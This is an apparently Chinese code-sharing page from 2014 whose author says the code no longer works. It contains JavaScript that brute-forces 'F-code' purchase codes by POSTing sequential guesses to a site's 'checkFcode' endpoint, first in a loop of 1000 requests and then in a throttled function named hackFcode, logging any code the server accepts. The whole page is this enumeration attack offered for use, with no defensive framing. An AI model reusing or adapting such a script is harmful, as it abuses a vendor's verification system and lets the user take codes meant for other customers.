您的位置:首页 > 编程语言

之前写过的一段代码现在用不了了

2014-04-23 14:28 197 查看
/**

 * MIWF17283726319273827

**/

 

var vcode = '';

for(var i=0; i<1000; i++) {

    var fcode = 'MIWF' + '8834314673311' + (1234 + i);

    $.post('checkFcode', {'f2vcode':fcode, 'verifycode':vcode}, function(ret){

        //ret = {"type":"alert","alert":"F\u7801\u8f93\u5165\u4e0d\u6b63\u786e\uff01\u8bf7\u91cd\u65b0\u8f93\u5165\u6b63\u786e\u7684F\u7801"};

        if (ret.type.length > 0) {

        } else {

            console.log(i);

        }

    });

}

 

/**/

var i = 0;

(function hackFcode(){

    var fcode = 'MIWF' + '8834314673311' + (1234 + i);

    $.post('checkFcode', {'f2vcode':fcode, 'verifycode':vcode}, function(ret){

        //ret = {"type":"alert","alert":"F\u7801\u8f93\u5165\u4e0d\u6b63\u786e\uff01\u8bf7\u91cd\u65b0\u8f93\u5165\u6b63\u786e\u7684F\u7801"};

        if (ret.type.length > 0) {

        } else {

            console.log(i);

        }

    });

    i++;

    setTimeout(hackFcode, 2000);

})();

 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: